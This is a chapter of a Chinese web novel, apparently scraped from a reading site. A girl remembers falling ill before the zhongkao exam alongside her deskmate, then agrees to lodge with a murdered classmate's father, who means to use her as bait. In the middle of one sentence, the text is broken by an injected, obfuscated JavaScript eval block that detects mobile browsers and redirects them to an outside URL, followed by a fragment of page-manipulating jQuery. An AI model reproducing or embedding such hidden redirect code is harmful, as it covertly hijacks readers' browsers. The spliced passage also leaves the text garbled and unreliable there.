6. 隔音

作品:《池镇怪谈

    那天之后,他就再也没有给我补过习。


    我还有些恐慌,怕他对我失望,彻底放弃我了。


    虽然我笨笨的,但我真的已经努力了。


    之前不是我故意不学习,我都烧到三十九度了,在高温之下还能工作的不叫人类,叫蒸汽机。


    做蒸汽机都比做人类好,起码蒸汽机过载之后可以罢工,人类过载之后,只会被同桌这个大魔王逼着画辅助线。


    中考前一天,我的甲流要走未走的样子。


    尽管知道自己就算踩着风火轮也追不上他的成绩,但那天我还是很安分地贴着退烧贴,在自己房间里刷题。


    不管结果怎样,态度要端正


    也算是给我的初中三年画上一个圆满的句号。


    他来给我送牛奶的时候,看到的就是我安安静静刷题的样子。


    我心虚得不敢看他,忽然感觉到他的气息出现在我肩侧,阴恻恻道:


    “晚上睡觉最好留个眼睛站岗。”


    “啊?为什么?”


    “柯西要是知道你这么用他的不等式,肯定要来找你谈心。”


    这下听出来他是在嘲我了。


    我瘪了瘪嘴,不说话了。


    本来心情就不好,还嘲我。


    晾他五分钟。


    他把牛奶放到我左手边,拉了个椅子坐在我旁边。


    这个椅子是他之前辅导我时的专用“教师椅”,我像个巴甫洛夫的狗一样,条件反射地夹紧了尾巴。


    “烧退了吗?”


    “退得差不多了。贴退烧贴是因为舒服。”


    我答完才意识到,还没到五分钟。


    他意味不明地哦了一声,忽然说:


    “过来。”


    我莫名其妙看了他一眼。


    我俩离得够近了,膝盖都挨到一起了,还要我怎么过去?


    他的手肘闲闲搭在桌沿上,身体前倾,一只手掐着我的下巴,摆成额头贴额头的姿势。


    我瞪大眼睛看他,离得太近,快变成斗鸡眼了。


    额头上还贴着退烧贴,我挣扎着要往后退:


    “你干什么,别传给你。”


    他这么个好苗子,被我耽搁了中考就不值当了。


    他闷笑一声:


    “有点晚。”


    愣了三秒才意识到,他的嗓子很哑。


    我隔着退烧贴感受不到,索性上手去摸他额头,不自觉眯起眼,喟叹:


    “好暖和。”


    虽然不太礼貌,但确实熨得我掌心很舒服。


    我发着烧,手脚却很凉,一直在出冷汗,他的额头像是暖水袋一样,暖暖的。


    他看着我,眼神沉静:


    “灵灵,我也发烧了。明天要是发挥不好怎么办。”


    我默了默:


    “那,那能怎么办嘛。”


    我也不能给他变出个特效药来啊。


    他突然这么问我,我也很慌,更何况他的甲流有可能是我传染的,他明天万一发挥不好,我的罪孽又深一层。


    都能想象到县里重点高中的老师隔空骂我的样子了。


    他们肯定觉得我这个吊车尾自己不学好,还带坏好学生,真是罪大恶极,是破坏未来国家栋梁的蛀虫。


    我绞尽脑汁:


    “要不,我多给你准备几份退烧贴,你忍一忍,轻伤不下火线,先把中考考了?”


    这也是老师常劝我们的话。


    他忽然低下头,把额头抵在我颈窝,没什么重量,只是轻轻地贴着。


    我听到他说:


    “要是没考好,我跟你一起去读池镇高中怎么样。”


    我脊背一凉,觉得这个发言很逆天:


    “不怎么样。”


    就算我成绩不好,也知道一个道理,人往高处走,水往低处流。


    他怎么能自甘堕落呢?


    看我满脸不高兴的样子,他下意识咬紧了下唇。


    形状好看的唇瓣被他咬得泛白。


    他在紧张。


    但他最后还是来了池镇高中。


    那个本科率只有县里高中零头的池镇高中,野鸡学校。


    时至今日,我依然不理解他当初的选择。


    他不是意气用事的人,要说是为了我,我自知没有那么大的脸。


    他做每件事都是有目的、有计划的,也不会轻易被感情左右——


    就比如大考的时候,无论我怎样撒泼打滚,都不会帮我作弊。


    费解,总之就是非常费解。


    如今,时隔三年,我再一次在他脸上看到了咬嘴唇的小动作。


    他在面对季野爸爸的时候,表现得很紧张。


    对方握着他的把柄,那把刀。


    可真比窦娥还冤呐,凶器又不是我的,人也不是我杀的,跟他就更没有关系,现在却要为了小小的指纹,被季野爸爸拿捏。


    季野爸爸告诉我:


    “我会替你向学校请假,接下来一周,我希望你能配合我,找出……杀害我儿子的真凶。”


    同桌依然将身体挡在我面前,不咸不淡道:


    “你凭什么认为她可以帮到你?”


    “只要对外宣称她看到了凶手的脸,对方自然会再次找上门来。请你们理解一个失去儿子的父亲的心情。”


    季野爸爸低头抿了一口茶水,言语间是要把我当成诱饵,并没有把我的安危放在心上。


    同桌显然也听懂了这一层意思,表情僵硬道:


    “不行——”


    我怕他跟季野爸爸起冲突,赶紧劝他:


    “没事,我留下来观察几天,他这么说肯定有解决办法,这个小区看起来安保也挺严格的,总比我家那个破小区要好吧?”


    同桌凌厉瞪我一眼:


    “你是不是不想去上补习班?”


    “……”


    倒也不必这么了解我。


    “你有没有想过,如果凶手真的对你下手怎么办?”


    “哎呀,不会的……我这么机灵,一定没事的。”


    我拍拍胸脯保证。


    就在我拍胸脯的瞬间,一段话毫无征兆地跳入我的脑海。


    “当你还是孩子的时候,参加战争,会有一种幻想。其他人会死,但你不会。然后,当你第一次受重伤,那种错觉就会烟消云散。”


    这里是现实,不是小说。


    我不是主角,我只是芸芸众生。


    这段话来自我书架上的一本课外书,海明威的《丧钟为谁而鸣》。


    来我家的亲戚看到了,说我读这种书晦气,要给我撕掉,是同桌给我保了下来——


    他说,这是他给我买的,一本书十八块,先交钱,再撕书。


    海明威那段冰冷的话让我毫无征兆打了个寒颤,同桌的脸却又让我镇定下来。


    我压住血液中沸腾的跃跃欲试:


    “放心,如果真的碰见凶手,我会把他捉拿归案的!”


    同桌又威逼利诱地劝了我一会儿,见我心已决,臭着张脸不说话了。


    总而言之,言而总之,我就这么稀里糊涂地决定在季野家住下了。


    季野爸爸让我住在季野隔壁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672068|156798||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    房间,我本来想叫同桌回家给我拿换洗衣物,也被季野爸爸拦住了:


    “同学,胡灵灵同学住在这里的事情,麻烦你不要对任何人说。”


    同桌回身,面色不虞:


    “她的父母有权利知道。”


    “她住校。”


    同桌垂在身侧的双手松了又紧,最终绷着脸,看了我一眼:


    “你出去,我有话要跟他说。”


    他面对季野爸爸,完全没有面对上位者应有的小心和恭敬。


    我有些担心,却被他扫地出门。


    被赶出去的我顶着保姆异样的目光,撅着屁股趴在门板上,想听听他们在里面商量些什么,但他家门板的材质隔音效果特别好,里面一点声儿都听不到。


    跟我家那薄木头门板不一样——


    有一次同桌瞒着我在房间里看片儿,我不用贴着门板都能听到。


    他还开外放!


    好在我是个体贴的人,知道这个时候进去可能给他吓废,硬是杵在客厅等他完事儿,顺便替他站岗放哨,看爸妈下班回来没有。


    边站岗边思考,他看片儿怎么只有男人喘气的声音,没有女人的声音?


    这不对劲。


    根据班上女生团体的描述,一般女生叫的声音会比男生大,听久了耳朵还会疲劳。


    我倒是想找个片子印证一下这个说法,可惜镇上唯一一家网吧的老板是我爸兄弟,我溜进去铁定会被打小报告。


    家里那台电脑是我爸的,他设了密码,我登不上去。


    只有每天一个小时的打游戏时间,我才有电脑的使用权,而且要由爸爸来开机。


    ……等等,那同桌他是拿什么看的片?难道他背着我偷偷藏手机!?


    不,不可能。


    他课余没有兼职,我一直跟着他,是知道的。


    爸爸也不可能有闲钱给他买手机,却不给我买。


    在一碗水端平方面,我爸妈做得是相当合格。


    不过他用什么看片,这只是个小问题。


    说不定是跟曹平祥那个小土豪借的。


    我现在关心的真相就只有一个。


    他看的片子里只有男人的声音。


    这说明了什么?


    说明他性向有问题!


    不过我转念一想,这个世界上每样东西都有他存在的道理,性向也是。


    ——除了盲肠和阑尾。


    所以同桌背着我和爸妈看片儿这件事,我悄悄地看破不说破。


    ——不对,话题扯远了!


    现在我只想知道同桌和季野爸爸在房间里聊什么!


    趴在门板上偷听了半天都没结果,我有些泄气,回头看到保姆正在往桌上摆饭菜:


    “要开饭了吗?”


    保姆是个挺和善的阿姨,笑着问我:


    “是的,你有什么喜欢吃的?我晚上做给你吃。”


    我立刻从门边蹦到餐桌边:


    “我爱吃鸡肉!最喜欢的是油淋鸡和照烧鸡!”


    “哎哟巧了不是?这两样我都会做。”阿姨笑呵呵,“下午我就去趟超市,给你弄点儿整鸡。”


    “阿姨!阿姨太谢谢你了!”我激动地窜过去,“在我家每周只能吃一次,我可太想吃了!阿姨我来帮你打下手,盘子我来端我来端!”


    我对着阿姨摇头摆尾,已经把同桌和季野爸爸抛到脑后了。


    等他们出来,看到的就是我跟在阿姨身后屁颠屁颠地布菜。


    “……胡灵灵。”


    突然听到背后传来同桌咬牙切齿的声音。